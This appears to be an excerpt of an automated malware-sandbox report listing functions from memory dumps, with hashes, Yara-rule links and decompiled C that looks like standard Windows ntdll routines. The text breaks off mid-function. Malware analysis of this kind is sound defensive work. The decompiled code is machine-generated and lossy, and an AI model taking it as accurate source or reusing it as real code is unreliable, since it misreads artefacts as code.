Instruction Fuzzy Hash: 07C08C32080288BBC7125E41DC00F017B2DE790B60F010020B6040A9608636EC60D58C

Uniqueness

Uniqueness Score: -1.00%

Function 00563282, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0843eb25cb0048b87d3f5e630410ebce137a634c2b3abfd998097b3d75f5d82
Instruction ID: be052c55969c77e9f8eba64169c52da6cbf1d76146791fa044cd009f01da1881
Opcode Fuzzy Hash: f0843eb25cb0048b87d3f5e630410ebce137a634c2b3abfd998097b3d75f5d82
Instruction Fuzzy Hash: DBC09BB76415808FE701CB1CC555B417361FF56AC4F550490D803CF716D314ED01C704

Uniqueness

Uniqueness Score: -1.00%

Function 0056532B, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6691f04ac4de3d7bd308e85a852a1ab187a7d04521690b7dc5656bed383820c
Instruction ID: 175376f836c3febda4267e95875ce5af69c9c4ce9c3ace0fe3a7ea71983b7710
Opcode Fuzzy Hash: d6691f04ac4de3d7bd308e85a852a1ab187a7d04521690b7dc5656bed383820c
Instruction Fuzzy Hash: 53C04C35355B40CFC759CE04C5C0E547775BB04F50FE10D81E0018BB31E265E944D901

Uniqueness

Uniqueness Score: -1.00%

Function 1E3B7D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3B7D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x1e3b7d56
0x1e3b7d5b
0x1e3b7d60
0x1e3b7d5d
0x1e3b7d5d
0x1e3b7d5d

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 0009ec8568f4b63583046587e62276d00379ad4c42855d8cb8dfe590effb8799
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 7FB092343219818FCF06DF18C080B0533E4FB44A80B8802D8E401CBA20D229E8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C2ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C2ACB() {
				void* _t5;

				return E1E3AEB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x1e3c2adc

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 0794c5a270783857064410c023ded0fc25e032053e3b48f6243feebc907a3b16
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 4CB01232C11480CFCF02DF40C620B197331FB40750F054891A10167A30C328BC41DB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5541ee088e8d028c39551cd32d70e71f3f8cd0bd5ad1a6ed7c35888904d46d43
Instruction ID: e64d160e4c53a33b216f39b509397637cf0327c7bebcc35f3d36f4155c03777c
Opcode Fuzzy Hash: 5541ee088e8d028c39551cd32d70e71f3f8cd0bd5ad1a6ed7c35888904d46d43
Instruction Fuzzy Hash: FC90027560501806D150716E441975A000557D0781FD1C121E4014654D87958A5576E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9066ecd504663cb94539441b21f72d70c67966a31a2192522095108aba5397
Instruction ID: 5769440ada38ef1d282d99ac860ff5461bd071d9b05f45388421a5a74e1f0276
Opcode Fuzzy Hash: eb9066ecd504663cb94539441b21f72d70c67966a31a2192522095108aba5397
Instruction Fuzzy Hash: 9D90027520505846D140716E4409A5A001557D0785FD1C121E4054694D96658D55B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D96D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 605808be2d54d605cd3c79bec39453ab8417f2b8698882f6aeadf96328042ae1
Instruction ID: e44992b1884c6b950c7ffed3d715fa773f0d46fc317cf7692d2e12c389badad3
Opcode Fuzzy Hash: 605808be2d54d605cd3c79bec39453ab8417f2b8698882f6aeadf96328042ae1
Instruction Fuzzy Hash: 5B90027520101846D100616E4409B5A000557E0781FD1C126E4114654D8655C8517561

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8bdb67888b27aeff115f814eb78021bd0673068ab9bb4bc4e297440af812bb
Instruction ID: 4d4266dd6f5612aa9b24e724a521289a8515e118d512d09185f44e061344fbcc
Opcode Fuzzy Hash: bc8bdb67888b27aeff115f814eb78021bd0673068ab9bb4bc4e297440af812bb
Instruction Fuzzy Hash: 1990026560501406D140716E541D71A001557D0681FD1D121E4014554DC6998A5576E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3DA710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9df77c2a899cb035ac649eb5cd6ca553b596735a72cff76b595d2d03681616
Instruction ID: 64c396b63d98b398105473ff20a238fdda25d72b5e361da810d878efcb9f7044
Opcode Fuzzy Hash: 2d9df77c2a899cb035ac649eb5cd6ca553b596735a72cff76b595d2d03681616
Instruction Fuzzy Hash: 48900275301010569500A6AE5809A5E410557F0781BD1D125E8004554C859488616161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3DA770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 125fadaf04fdf64ca81d33f3940ae157b02b6aac2bd5b185d57b8eb1943a3fce
Instruction ID: ad608a4224c9462c83163fbe82bf4a8232dd8c35f305cfb8e0b19ef4b32f7aa5
Opcode Fuzzy Hash: 125fadaf04fdf64ca81d33f3940ae157b02b6aac2bd5b185d57b8eb1943a3fce
Instruction Fuzzy Hash: BD90027920505446D500656E5809A9B000557D0785FD1D521E441459CD86948861B161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7e3cd96178a576275f715c6d72711389c6c946e3a7542c55d65260ce88512c
Instruction ID: 87cdf42fc2c0be913dc77ba040474915323ac5a8cafafd21e71f4511146e1cd1
Opcode Fuzzy Hash: aa7e3cd96178a576275f715c6d72711389c6c946e3a7542c55d65260ce88512c
Instruction Fuzzy Hash: 1A90026520505446D100656E540DA1A000557D0685FD1D121E5054595DC6758851B171

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47ebb868ca5cbe0da0e54341000529999b1e4f64e1ad207adf5c81f27f25a92f
Instruction ID: 679882c87a7f9ee05318cc31b1e8a83ee5eef9548016138a0b55e8b36069785c
Opcode Fuzzy Hash: 47ebb868ca5cbe0da0e54341000529999b1e4f64e1ad207adf5c81f27f25a92f
Instruction Fuzzy Hash: CF90027520101407D100616E550D71B000557D0681FD1D521E4414558DD69688517161

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9FE0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74316b0b2bb593c59ad26fe8c920bf1587e3831a21f93ecc58603ac5bbd3067d
Instruction ID: 768bab52cc075047f3dea48426aebb8526b67f01869fad43276ee979b38abce3
Opcode Fuzzy Hash: 74316b0b2bb593c59ad26fe8c920bf1587e3831a21f93ecc58603ac5bbd3067d
Instruction Fuzzy Hash: A490027531115406D110616E840971A000557D1681FD1C521E4814558D86D588917162

Uniqueness

Uniqueness Score: -1.00%

Function 1E3DAD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982412121b18859f5477594a4e3a46acf8dcbc017196cd7bbf789e8368f5bb89
Instruction ID: 60027593df0ee41b4215954a86ad35649552dab672fe73c89cb70665389845de
Opcode Fuzzy Hash: 982412121b18859f5477594a4e3a46acf8dcbc017196cd7bbf789e8368f5bb89
Instruction Fuzzy Hash: 43900275A05010169140716E481965A400667E0BC1BD5C121E4504554C89948A5563E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da7e916ae2b44b865fa420496c9794e15a2abd96a66a55b13e8124c01e0c2d65
Instruction ID: caf97f532aad2564dca1016db6fd55e440e2f028aec2751aea7a6255e77b461b
Opcode Fuzzy Hash: da7e916ae2b44b865fa420496c9794e15a2abd96a66a55b13e8124c01e0c2d65
Instruction Fuzzy Hash: 579002E5201150964500A26E8409B1E450557E0681BD1C126E5044560CC5658851A175

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073e5008d2e60dabdb2893ac48f5874caeb4f6be63aec54ef474ff32aa42bde9
Instruction ID: 225283423e9ac4c98a7f69b1520bc3a02bf3bf2cf665780acde762673e6561b9
Opcode Fuzzy Hash: 073e5008d2e60dabdb2893ac48f5874caeb4f6be63aec54ef474ff32aa42bde9
Instruction Fuzzy Hash: A6900269221010060145A56E060951F044567D67D13D1C125F5406590CC66188656361

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D95F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbed0b4f966e90380ba1ff3d3d62a24544f50cfd18b16ae2e8375116cc4bb65d
Instruction ID: 5ff0c1c4f3660cf84b7d62e3ad9e753d45aec040e495b14ae7eb78b207a64e67
Opcode Fuzzy Hash: cbed0b4f966e90380ba1ff3d3d62a24544f50cfd18b16ae2e8375116cc4bb65d
Instruction Fuzzy Hash: EB90027520101806D104616E480969A000557D0781FD1C121EA014655E96A588917171

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1419ea99687c38cc0958b9ab517e8ba3c0e08b5ddeca027353c9589a2e950a6
Instruction ID: 2a1bad7b7ae7664c9a856429a254704f3717273ad85495b8cdb7f4d915047918
Opcode Fuzzy Hash: b1419ea99687c38cc0958b9ab517e8ba3c0e08b5ddeca027353c9589a2e950a6
Instruction Fuzzy Hash: 2790027520141406D100616E480D75B000557D0782FD1C121E9154555E86A5C8917571

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6704253fa8f951a44f46c66dcd7839dea5fd62759f1b7b97071176f999e78861
Instruction ID: 758c1f6bbb92adbc77b33af6813d033c3879c6162f3f1760536b5a389bac7c16
Opcode Fuzzy Hash: 6704253fa8f951a44f46c66dcd7839dea5fd62759f1b7b97071176f999e78861
Instruction Fuzzy Hash: 7390026520145446D140626E4809B1F410557E1682FD1C129E8146554CC95588556761

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f087a65358c9a6ee825fbdd48049e9ae39e16aa01a96c24570c0f6cdb395d1
Instruction ID: 2c4f464f4ead5468505b18d49420d33a844e037a3f9640c0b689e198654c3e92
Opcode Fuzzy Hash: f8f087a65358c9a6ee825fbdd48049e9ae39e16aa01a96c24570c0f6cdb395d1
Instruction Fuzzy Hash: 0B90026524101806D140716E841971B000697D0A81FD1C121E4014554D8656896576F1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3DA3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f877b4941859bbb89f99916cfc25b143a91e22a9c8c053ca419c22a1fdf1628
Instruction ID: bd186438926fb13f50891bb3f89ff060481b0eb4caa85647da50ab0cc43b8665
Opcode Fuzzy Hash: 8f877b4941859bbb89f99916cfc25b143a91e22a9c8c053ca419c22a1fdf1628
Instruction Fuzzy Hash: 9990027520145006D140716E844961F500567E0781FD1C521E4415554C86558856A261

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cdad612855b5787acdce2ce4755210607db2b627188c7466c945186d66a1a8
Instruction ID: 51e97c491d2c9ddb4b5897e52a3ddd278dc2ae82764ca2b931a9e0215c5c033a
Opcode Fuzzy Hash: b3cdad612855b5787acdce2ce4755210607db2b627188c7466c945186d66a1a8
Instruction Fuzzy Hash: 3090027524101406D141716E440961A000967D06C1FD1C122E4414554E86958A56BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3DB040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5adad105981f651cb625fddc2cfb234819e5a70d815b9ddd986f672500976017
Instruction ID: d30410abaa7064977ce9b7b685862603c7f22ab9c89cdbf7424a630fad347482
Opcode Fuzzy Hash: 5adad105981f651cb625fddc2cfb234819e5a70d815b9ddd986f672500976017
Instruction Fuzzy Hash: 069002A5601150474540B16E480941A501567E17813D1C231E4444560C86A88855A2A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D98A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df598296c6a85a09151790854f2e9b6e5b425bf7a9a667d3267e67e51dbf816
Instruction ID: 7ef3f4be406265384593b9374af9acfa2fdf9e4c0f0a66176c5bd229fba13908
Opcode Fuzzy Hash: 0df598296c6a85a09151790854f2e9b6e5b425bf7a9a667d3267e67e51dbf816
Instruction Fuzzy Hash: 9690026530101406D102616E441961A000997D17C5FD1C122E5414555D86658953B172

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b9ec6539e2ce88b50bc62714321c29dc52376b1b569fcfd21608fec37d4f719
Instruction ID: 275d4fc7dda42bad500766b21b8bfa2054d9252faa519360a61adad84241d3e4
Opcode Fuzzy Hash: 6b9ec6539e2ce88b50bc62714321c29dc52376b1b569fcfd21608fec37d4f719
Instruction Fuzzy Hash: 9F9002A520141407D140656E480961B000557D0782FD1C121E6054555E8A698C517175

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D99D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95541bf04f288925140205566aa24f3d7cdebf6fdeefb7da752317276532cec9
Instruction ID: ba5047fcc0cdb19a8f1f296aa89f537404be68cc20a25d7694811b287090a4cb
Opcode Fuzzy Hash: 95541bf04f288925140205566aa24f3d7cdebf6fdeefb7da752317276532cec9
Instruction Fuzzy Hash: 0B9002A521101046D104616E440971A004557E1681FD1C122E6144554CC5698C616165

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D9670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 54246b2ca5d99d6f08cdaa012199eea6ccf7447255273ae27a27ed935dbc1c77
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C645B, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E1E3C645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x1e48d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E1E3DFA60( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E1E3B2280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E1E3AFFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x1e48b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E1E3DB640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x1e3c645b
0x1e3c6463
0x1e3c646d
0x1e3c6475
0x1e3c647a
0x1e3c647e
0x1e3c6480
0x1e3c648c
0x1e3c6490
0x1e3c6495
0x1e3c6498
0x1e3c649b
0x1e3c649f
0x1e3c64a1
0x1e407c07
0x1e407c09
0x1e407c0c
0x00000000
0x1e3c64a7
0x1e3c64a7
0x1e3c64aa
0x1e407bf7
0x1e407c00
0x00000000
0x1e407bf9
0x1e407bf9
0x1e407bf9
0x1e3c64b0
0x1e3c64b0
0x1e3c64b2
0x1e3c64b2
0x1e3c64b3
0x1e3c64ba
0x1e3c6553
0x1e3c655e
0x1e3c6566
0x1e3c656c
0x1e3c6575
0x1e3c657f
0x1e3c6585
0x1e3c6588
0x1e3c6588
0x1e3c64c7
0x1e3c64cb
0x1e3c64ce
0x1e3c64d3
0x1e3c64da
0x1e3c64e5
0x1e3c64ed
0x1e3c64f1
0x1e3c64f5
0x1e3c64f6
0x1e3c64fa
0x1e3c6502
0x1e3c6503
0x1e3c6504
0x1e3c6507
0x1e3c651a
0x1e3c6524
0x1e3c6524
0x1e3c6526
0x1e3c6526
0x1e3c64aa
0x1e3c652c
0x1e3c652d
0x1e3c652e
0x1e3c6539

APIs

RtlDebugPrintTimes.NTDLL ref: 1E3C651A

Strings

0, xrefs: 1E3C64E5
0, xrefs: 1E3C64FA

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: e999946f7ba43dfbd0a37e161094d504fff27ea677379d36123c3e86db631a88
Instruction ID: 333fbcf56147986e062919925e19cea793430cc7eafa9c03a6e8ade64e6b2464
Opcode Fuzzy Hash: e999946f7ba43dfbd0a37e161094d504fff27ea677379d36123c3e86db631a88
Instruction Fuzzy Hash: 82415BB16087469FC300CF28C484A5ABBE5FF89B14F044A6EF989DB341D731EA45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 1E42FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E1E42FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E1E3DCE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E1E425720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
